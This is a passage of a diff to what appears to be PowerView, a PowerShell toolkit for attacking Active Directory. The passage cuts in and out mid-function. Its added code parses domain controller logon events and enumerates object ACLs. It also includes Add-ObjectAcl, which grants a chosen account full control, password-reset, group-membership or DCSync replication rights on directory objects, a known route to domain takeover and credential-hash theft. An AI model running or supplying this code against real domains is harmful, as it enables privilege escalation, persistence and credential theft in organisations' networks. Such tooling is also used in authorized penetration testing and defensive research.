- if($ReturnRaw) {
- $_
- }
- else {
- # convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
- }
- }
- $Results.dispose()
- $ObjectSearcher.dispose()
- }
- }
+
+ Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
}
-function Get-DomainSID {
+filter Get-UserEvent {
<#
.SYNOPSIS
- Gets the SID for the domain.
-
- .PARAMETER Domain
+ Dump and parse security events relating to an account logon (ID 4624)
+ or a TGT request event (ID 4768). Intended to be used and tested on
+ Windows 2008 Domain Controllers.
+ Admin Reqd? YES
- The domain to query, defaults to the current domain.
+ Author: @sixdub
- .EXAMPLE
+ .PARAMETER ComputerName
- C:\> Get-DomainSID -Domain TEST
-
- Returns SID for the domain 'TEST'
-#>
+ The computer to get events from. Default: Localhost
- param(
- [String]
- $Domain
- )
+ .PARAMETER EventType
- $FoundDomain = Get-NetDomain -Domain $Domain
-
- if($FoundDomain) {
- # query for the primary domain controller so we can extract the domain SID for filtering
- $PrimaryDC = $FoundDomain.PdcRoleOwner
- $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid
- $Parts = $PrimaryDCSID.split("-")
- $Parts[0..($Parts.length -2)] -join "-"
- }
-}
+ Either 'logon', 'tgt', or 'all'. Defaults: 'logon'
+ .PARAMETER DateStart
-function Get-NetGroup {
-<#
- .SYNOPSIS
+ Filter out all events before this date. Default: 5 days
- Gets a list of all current groups in a domain, or all
- the groups a given user/group object belongs to.
+ .PARAMETER Credential
- .PARAMETER GroupName
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
- The group name to query for, wildcards accepted.
+ .EXAMPLE
- .PARAMETER SID
+ PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local
- The group SID to query for.
+ .LINK
- .PARAMETER UserName
+ http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
+#>
- The user name (or group name) to query for all effective
- groups of.
+ Param(
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $ComputerName = $Env:ComputerName,
- .PARAMETER Filter
+ [String]
+ [ValidateSet("logon","tgt","all")]
+ $EventType = "logon",
- A customized ldap filter string to use, e.g. "(description=*admin*)"
+ [DateTime]
+ $DateStart = [DateTime]::Today.AddDays(-5),
- .PARAMETER Domain
+ [Management.Automation.PSCredential]
+ $Credential
+ )
- The domain to query for groups, defaults to the current domain.
+ if($EventType.ToLower() -like "logon") {
+ [Int32[]]$ID = @(4624)
+ }
+ elseif($EventType.ToLower() -like "tgt") {
+ [Int32[]]$ID = @(4768)
+ }
+ else {
+ [Int32[]]$ID = @(4624, 4768)
+ }
- .PARAMETER DomainController
+ if($Credential) {
+ Write-Verbose "Using alternative credentials"
+ $Arguments = @{
+ 'ComputerName' = $ComputerName;
+ 'Credential' = $Credential;
+ 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
+ 'ErrorAction' = 'SilentlyContinue';
+ }
+ }
+ else {
+ $Arguments = @{
+ 'ComputerName' = $ComputerName;
+ 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
+ 'ErrorAction' = 'SilentlyContinue';
+ }
+ }
- Domain controller to reflect LDAP queries through.
+ # grab all events matching our filter for the specified host
+ Get-WinEvent @Arguments | ForEach-Object {
+
+ if($ID -contains 4624) {
+ # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)
+ if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') {
+ if($Matches) {
+ $LogonType = $Matches[0].trim()
+ $Matches = $Null
+ }
+ }
+ else {
+ $LogonType = ""
+ }
+
+ # interactive logons or domain logons
+ if (($LogonType -eq 2) -or ($LogonType -eq 3)) {
+ try {
+ # parse and store the account used and the address they came from
+ if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') {
+ if($Matches) {
+ $UserName = $Matches[0].split("`n")[2].split(":")[1].trim()
+ $Domain = $Matches[0].split("`n")[3].split(":")[1].trim()
+ $Matches = $Null
+ }
+ }
+ if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') {
+ if($Matches) {
+ $Address = $Matches[0].split("`n")[2].split(":")[1].trim()
+ $Matches = $Null
+ }
+ }
+
+ # only add if there was account information not for a machine or anonymous logon
+ if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {
+ $LogonEventProperties = @{
+ 'Domain' = $Domain
+ 'ComputerName' = $ComputerName
+ 'Username' = $UserName
+ 'Address' = $Address
+ 'ID' = '4624'
+ 'LogonType' = $LogonType
+ 'Time' = $_.TimeCreated
+ }
+ New-Object -TypeName PSObject -Property $LogonEventProperties
+ }
+ }
+ catch {
+ Write-Verbose "Error parsing event logs: $_"
+ }
+ }
+ }
+ if($ID -contains 4768) {
+ # the TGT event type
+ try {
+ if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') {
+ if($Matches) {
+ $Username = $Matches[0].split("`n")[1].split(":")[1].trim()
+ $Domain = $Matches[0].split("`n")[2].split(":")[1].trim()
+ $Matches = $Null
+ }
+ }
+
+ if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') {
+ if($Matches) {
+ $Address = $Matches[0].split("`n")[1].split(":")[-1].trim()
+ $Matches = $Null
+ }
+ }
+
+ $LogonEventProperties = @{
+ 'Domain' = $Domain
+ 'ComputerName' = $ComputerName
+ 'Username' = $UserName
+ 'Address' = $Address
+ 'ID' = '4768'
+ 'LogonType' = ''
+ 'Time' = $_.TimeCreated
+ }
+
+ New-Object -TypeName PSObject -Property $LogonEventProperties
+ }
+ catch {
+ Write-Verbose "Error parsing event logs: $_"
+ }
+ }
+ }
+}
+
+
+function Get-ObjectAcl {
+<#
+ .SYNOPSIS
+ Returns the ACLs associated with a specific active directory object.
+
+ Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
+
+ .PARAMETER SamAccountName
+
+ Object name to filter for.
+ .PARAMETER Name
+
+ Object name to filter for.
+
+ .PARAMETER DistinguishedName
+
+ Object distinguished name to filter for.
+
+ .PARAMETER ResolveGUIDs
+
+ Switch. Resolve GUIDs to their display names.
+
+ .PARAMETER Filter
+
+ A customized ldap filter string to use, e.g. "(description=*admin*)"
+
.PARAMETER ADSpath
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
- .PARAMETER AdminCount
+ .PARAMETER ADSprefix
- Switch. Return group with adminCount=1.
+ Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
- .PARAMETER FullData
+ .PARAMETER RightsFilter
- Switch. Return full group objects instead of just object names (the default).
+ Only return results with the associated rights, "All", "ResetPassword","WriteMembers"
- .PARAMETER RawSids
+ .PARAMETER Domain
- Switch. Return raw SIDs when using "Get-NetGroup -UserName X"
+ The domain to use for the query, defaults to the current domain.
- .PARAMETER PageSize
+ .PARAMETER DomainController
- The PageSize to set for the LDAP searcher object.
+ Domain controller to reflect LDAP queries through.
- .PARAMETER Credential
+ .PARAMETER PageSize
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+ The PageSize to set for the LDAP searcher object.
.EXAMPLE
- PS C:\> Get-NetGroup
+ PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local
- Returns the current groups in the domain.
+ Get the ACLs for the matt.admin user in the testlab.local domain
.EXAMPLE
- PS C:\> Get-NetGroup -GroupName *admin*
+ PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs
- Returns all groups with "admin" in their group name.
+ Get the ACLs for the matt.admin user in the testlab.local domain and
+ resolve relevant GUIDs to their display names.
.EXAMPLE
- PS C:\> Get-NetGroup -Domain testing -FullData
-
- Returns full group data objects in the 'testing' domain
+ PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs
+
+ Enumerate the ACL permissions for all OUs in the domain.
#>
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
+ Param (
+ [Parameter(ValueFromPipelineByPropertyName=$True)]
[String]
- $GroupName = '*',
+ $SamAccountName,
+ [Parameter(ValueFromPipelineByPropertyName=$True)]
[String]
- $SID,
+ $Name = "*",
+ [Parameter(ValueFromPipelineByPropertyName=$True)]
[String]
- $UserName,
+ $DistinguishedName = "*",
+
+ [Switch]
+ $ResolveGUIDs,
[String]
$Filter,
- [String]
- $Domain,
-
- [String]
- $DomainController,
-
[String]
$ADSpath,
- [Switch]
- $AdminCount,
+ [String]
+ $ADSprefix,
- [Switch]
- $FullData,
+ [String]
+ [ValidateSet("All","ResetPassword","WriteMembers")]
+ $RightsFilter,
- [Switch]
- $RawSids,
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200,
-
- [Management.Automation.PSCredential]
- $Credential
+ $PageSize = 200
)
begin {
- $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
+
+ # get a GUID -> name mapping
+ if($ResolveGUIDs) {
+ $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize
+ }
}
process {
- if($GroupSearcher) {
-
- if($AdminCount) {
- Write-Verbose "Checking for adminCount=1"
- $Filter += "(admincount=1)"
- }
- if ($UserName) {
- # get the raw user object
- $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize
+ if ($Searcher) {
- # convert the user to a directory entry
- $UserDirectoryEntry = $User.GetDirectoryEntry()
+ if($SamAccountName) {
+ $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
+ }
+ else {
+ $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
+ }
+
+ try {
+ $Results = $Searcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Object = [adsi]($_.path)
- # cause the cache to calculate the token groups for the user
- $UserDirectoryEntry.RefreshCache("tokenGroups")
+ if($Object.distinguishedname) {
+ $Access = $Object.PsBase.ObjectSecurity.access
+ $Access | ForEach-Object {
+ $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
- $UserDirectoryEntry.TokenGroups | ForEach-Object {
- # convert the token group sid
- $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
-
- # ignore the built in users and default domain user group
- if(!($GroupSid -match '^S-1-5-32-545|-513$')) {
- if($FullData) {
- $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
- $Group.PSObject.TypeNames.Add('PowerView.Group')
- $Group
- }
- else {
- if($RawSids) {
- $GroupSid
+ if($Object.objectsid[0]){
+ $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
}
else {
- Convert-SidToName $GroupSid
+ $S = $Null
}
+
+ $_ | Add-Member NoteProperty 'ObjectSID' $S
+ $_
}
}
- }
- }
- else {
- if ($SID) {
- $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
- }
- else {
- $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)"
- }
-
- $Results = $GroupSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- # if we're returning full data objects
- if ($FullData) {
- # convert/process the LDAP fields for each result
- $Group = Convert-LDAPProperty -Properties $_.Properties
- $Group.PSObject.TypeNames.Add('PowerView.Group')
- $Group
+ } | ForEach-Object {
+ if($RightsFilter) {
+ $GuidFilter = Switch ($RightsFilter) {
+ "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
+ "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
+ Default { "00000000-0000-0000-0000-000000000000"}
+ }
+ if($_.ObjectType -eq $GuidFilter) { $_ }
}
else {
- # otherwise we're just returning the group name
- $_.properties.samaccountname
+ $_
+ }
+ } | ForEach-Object {
+ if($GUIDs) {
+ # if we're resolving GUIDs, map them them to the resolved hash table
+ $AclProperties = @{}
+ $_.psobject.properties | ForEach-Object {
+ if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {
+ try {
+ $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]
+ }
+ catch {
+ $AclProperties[$_.Name] = $_.Value
+ }
+ }
+ else {
+ $AclProperties[$_.Name] = $_.Value
+ }
+ }
+ New-Object -TypeName PSObject -Property $AclProperties
}
+ else { $_ }
}
$Results.dispose()
- $GroupSearcher.dispose()
+ $Searcher.dispose()
+ }
+ catch {
+ Write-Warning $_
}
}
}
}
-function Get-NetGroupMember {
+function Add-ObjectAcl {
<#
.SYNOPSIS
- This function users [ADSI] and LDAP to query the current AD context
- or trusted domain for users in a specified group. If no GroupName is
- specified, it defaults to querying the "Domain Admins" group.
- This is a replacement for "net group 'name' /domain"
+ Adds an ACL for a specific active directory object.
+
+ AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3)
+ https://adsecurity.org/?p=1906
- .PARAMETER GroupName
+ ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects.
- The group name to query for users.
+ 'ResetPassword' doesn't need to know the user's current password
+ 'WriteMembers' allows for the modification of group membership
- .PARAMETER SID
+ .PARAMETER TargetSamAccountName
- The Group SID to query for users. If not given, it defaults to 512 "Domain Admins"
+ Target object name to filter for.
- .PARAMETER Filter
+ .PARAMETER TargetName
- A customized ldap filter string to use, e.g. "(description=*admin*)"
+ Target object name to filter for.
- .PARAMETER Domain
+ .PARAMETER TargetDistinguishedName
- The domain to query for group users, defaults to the current domain.
+ Target object distinguished name to filter for.
- .PARAMETER DomainController
+ .PARAMETER TargetFilter
- Domain controller to reflect LDAP queries through.
+ A customized ldap filter string to use to find a target, e.g. "(description=*admin*)"
- .PARAMETER ADSpath
+ .PARAMETER TargetADSpath
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- .PARAMETER FullData
+ .PARAMETER TargetADSprefix
- Switch. Returns full data objects instead of just group/users.
+ Prefix to set for the target searcher (like "CN=Sites,CN=Configuration")
- .PARAMETER Recurse
+ .PARAMETER PrincipalSID
- Switch. If the group member is a group, recursively try to query its members as well.
+ The SID of the principal object to add for access.
- .PARAMETER UseMatchingRule
+ .PARAMETER PrincipalName
- Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.
- Much faster than manual recursion, but doesn't reveal cross-domain groups.
+ The name of the principal object to add for access.
- .PARAMETER PageSize
+ .PARAMETER PrincipalSamAccountName
- The PageSize to set for the LDAP searcher object.
+ The samAccountName of the principal object to add for access.
- .PARAMETER Credential
+ .PARAMETER Rights
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+ Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync"
+
+ .PARAMETER Domain
+
+ The domain to use for the target query, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
.EXAMPLE
- PS C:\> Get-NetGroupMember
-
- Returns the usernames that of members of the "Domain Admins" domain group.
+ Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john
+
+ Grants 'john' all full access rights to the 'matt' account.
.EXAMPLE
- PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users"
-
- Returns the usernames that of members of the "Power Users" group in the 'testing' domain.
+ Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword
+
+ Grants 'john' the right to reset the password for the 'matt' account.
.LINK
- http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
+ https://adsecurity.org/?p=1906
+
+ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
+ Param (
[String]
- $GroupName,
+ $TargetSamAccountName,
[String]
- $SID,
+ $TargetName = "*",
+ [Alias('DN')]
[String]
- $Domain,
+ $TargetDistinguishedName = "*",
[String]
- $DomainController,
+ $TargetFilter,
[String]
- $ADSpath,
+ $TargetADSpath,
- [Switch]
- $FullData,
+ [String]
+ $TargetADSprefix,
- [Switch]
- $Recurse,
+ [String]
+ [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]
+ $PrincipalSID,
- [Switch]
- $UseMatchingRule,
+ [String]
+ $PrincipalName,
+
+ [String]
+ $PrincipalSamAccountName,
+
+ [String]
+ [ValidateSet("All","ResetPassword","WriteMembers","DCSync")]
+ $Rights = "All",
+
+ [String]
+ $RightsGUID,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200,
-
- [Management.Automation.PSCredential]
- $Credential
+ $PageSize = 200
)
begin {
- if($DomainController) {
- $TargetDomainController = $DomainController
- }
- else {
- $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
- }
+ $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize
- if($Domain) {
- $TargetDomain = $Domain
+ if($PrincipalSID) {
+ $ResolvedPrincipalSID = $PrincipalSID
}
else {
- $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name
+ $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize
+
+ if(!$Principal) {
+ throw "Error resolving principal"
+ }
+ $ResolvedPrincipalSID = $Principal.objectsid
+ }
+ if(!$ResolvedPrincipalSID) {
+ throw "Error resolving principal"
}
-
- # so this isn't repeated if users are passed on the pipeline
- $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
process {
- if ($GroupSearcher) {
- if ($Recurse -and $UseMatchingRule) {
- # resolve the group to a distinguishedname
- if ($GroupName) {
- $Group = Get-NetGroup -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
- }
- elseif ($SID) {
- $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
- }
- else {
- # default to domain admins
- $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512"
- $Group = Get-NetGroup -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
- }
- $GroupDN = $Group.distinguishedname
- $GroupFoundName = $Group.name
- if ($GroupDN) {
- $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
- $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
+ if ($Searcher) {
- $Members = $GroupSearcher.FindAll()
- $GroupFoundName = $GroupName
- }
- else {
- Write-Error "Unable to find Group"
- }
+ if($TargetSamAccountName) {
+ $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
}
else {
- if ($GroupName) {
- $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)"
- }
- elseif ($SID) {
- $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
- }
- else {
- # default to domain admins
- $SID = (Get-DomainSID -Domain $TargetDomain -Credential $Credential) + "-512"
- $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
- }
-
- try {
- $Result = $GroupSearcher.FindOne()
- }
- catch {
- $Members = @()
- }
-
- $GroupFoundName = ''
-
- if ($Result) {
- $Members = $Result.properties.item("member")
-
- if($Members.count -eq 0) {
+ $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
+ }
+
+ try {
+ $Results = $Searcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
- $Finished = $False
- $Bottom = 0
- $Top = 0
+ # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects
- while(!$Finished) {
- $Top = $Bottom + 1499
- $MemberRange="member;range=$Bottom-$Top"
- $Bottom += 1500
-
- $GroupSearcher.PropertiesToLoad.Clear()
- [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
- [void]$GroupSearcher.PropertiesToLoad.Add("name")
- try {
- $Result = $GroupSearcher.FindOne()
- $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
- $Members += $Result.Properties.item($RangedProperty)
- $GroupFoundName = $Result.properties.item("name")[0]
+ $TargetDN = $_.Properties.distinguishedname
- if ($Members.count -eq 0) {
- $Finished = $True
- }
- }
- catch [System.Management.Automation.MethodInvocationException] {
- $Finished = $True
- }
- }
- }
- else {
- $GroupFoundName = $Result.properties.item("name")[0]
- $Members += $Result.Properties.item($RangedProperty)
- }
- }
- $GroupSearcher.dispose()
- }
+ $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)
+ $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
+ $ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
+ $ACEs = @()
- $Members | Where-Object {$_} | ForEach-Object {
- # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion
- if ($Recurse -and $UseMatchingRule) {
- $Properties = $_.Properties
- }
- else {
- if($TargetDomainController) {
- $Result = [adsi]"LDAP://$TargetDomainController/$_"
+ if($RightsGUID) {
+ $GUIDs = @($RightsGUID)
}
else {
- $Result = [adsi]"LDAP://$_"
- }
- if($Result){
- $Properties = $Result.Properties
+ $GUIDs = Switch ($Rights) {
+ # ResetPassword doesn't need to know the user's current password
+ "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
+ # allows for the modification of group membership
+ "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
+ # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
+ # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
+ # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
+ # when applied to a domain's ACL, allows for the use of DCSync
+ "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"}
+ }
}
- }
-
- if($Properties) {
-
- $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype
- if ($FullData) {
- $GroupMember = Convert-LDAPProperty -Properties $Properties
+ if($GUIDs) {
+ foreach($GUID in $GUIDs) {
+ $NewGUID = New-Object Guid $GUID
+ $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
+ $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType
+ }
}
else {
- $GroupMember = New-Object PSObject
+ # deault to GenericAll rights
+ $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
+ $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType
}
- $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
- $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
+ Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)"
try {
- $MemberDN = $Properties.distinguishedname[0]
-
- # extract the FQDN from the Distinguished Name
- $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ # add all the new ACEs to the specified object
+ ForEach ($ACE in $ACEs) {
+ Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)"
+ $Object = [adsi]($_.path)
+ $Object.PsBase.ObjectSecurity.AddAccessRule($ACE)
+ $Object.PsBase.commitchanges()
+ }
}
catch {
- $MemberDN = $Null
- $MemberDomain = $Null
+ Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_"
}
+ }
+ $Results.dispose()
+ $Searcher.dispose()
+ }
+ catch {
+ Write-Warning "Error: $_"
+ }
+ }
+ }
+}
- if ($Properties.samaccountname) {
- # forest users have the samAccountName set
- $MemberName = $Properties.samaccountname[0]
- }
- else {
- # external trust users have a SID, so convert it
- try {
- $MemberName = Convert-SidToName $Properties.cn[0]
- }
- catch {
- # if there's a problem contacting the domain to resolve the SID
- $MemberName = $Properties.cn
- }
- }
-
- if($Properties.objectSid) {
- $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
- }
- else {
- $MemberSid = $Null
- }
- $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
- $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
- $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid
- $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
- $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
- $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')
- $GroupMember
+function Invoke-ACLScanner {
+<#
+ .SYNOPSIS
+ Searches for ACLs for specifable AD objects (default to all domain objects)
+ with a domain sid of > -1000, and have modifiable rights.
- # if we're doing manual recursion
- if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
- if($FullData) {
- Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
- }
- else {
- Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
- }
- }
- }
+ Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
- }
- }
- }
-}
+ .PARAMETER SamAccountName
+ Object name to filter for.
-function Get-NetFileServer {
-<#
- .SYNOPSIS
+ .PARAMETER Name
- Returns a list of all file servers extracted from user
- homedirectory, scriptpath, and profilepath fields.
+ Object name to filter for.
+
+ .PARAMETER DistinguishedName
+
+ Object distinguished name to filter for.
+
+ .PARAMETER Filter
+
+ A customized ldap filter string to use, e.g. "(description=*admin*)"
+
+ .PARAMETER ADSpath
+
+ The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+ Useful for OU queries.
+
+ .PARAMETER ADSprefix
+
+ Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
.PARAMETER Domain
- The domain to query for user file servers, defaults to the current domain.
+ The domain to use for the query, defaults to the current domain.
.PARAMETER DomainController
Domain controller to reflect LDAP queries through.
- .PARAMETER TargetUsers
+ .PARAMETER ResolveGUIDs
- An array of users to query for file servers.
+ Switch. Resolve GUIDs to their display names.
.PARAMETER PageSize
The PageSize to set for the LDAP searcher object.
- .PARAMETER Credential
-
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
-
.EXAMPLE
- PS C:\> Get-NetFileServer
-
- Returns active file servers.
-
- .EXAMPLE
+ PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv
- PS C:\> Get-NetFileServer -Domain testing
-
- Returns active file servers for the 'testing' domain.
+ Enumerate all modifable ACLs in the current domain, resolving GUIDs to display
+ names, and export everything to a .csv
#>
[CmdletBinding()]
- param(
+ Param (
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $SamAccountName,
+
+ [String]
+ $Name = "*",
+
+ [Alias('DN')]
+ [String]
+ $DistinguishedName = "*",
+
+ [String]
+ $Filter,
+
+ [String]
+ $ADSpath,
+
+ [String]
+ $ADSprefix,
+
[String]
$Domain,
[String]
$DomainController,
- [String[]]
- $TargetUsers,
+ [Switch]
+ $ResolveGUIDs,
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200,
+ $PageSize = 200
+ )
- [Management.Automation.PSCredential]
- $Credential
+ # Get all domain ACLs with the appropriate parameters
+ Get-ObjectACL @PSBoundParameters | ForEach-Object {
+ # add in the translated SID for the object identity
+ $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)
+ $_
+ } | Where-Object {
+ # check for any ACLs with SIDs > -1000
+ try {
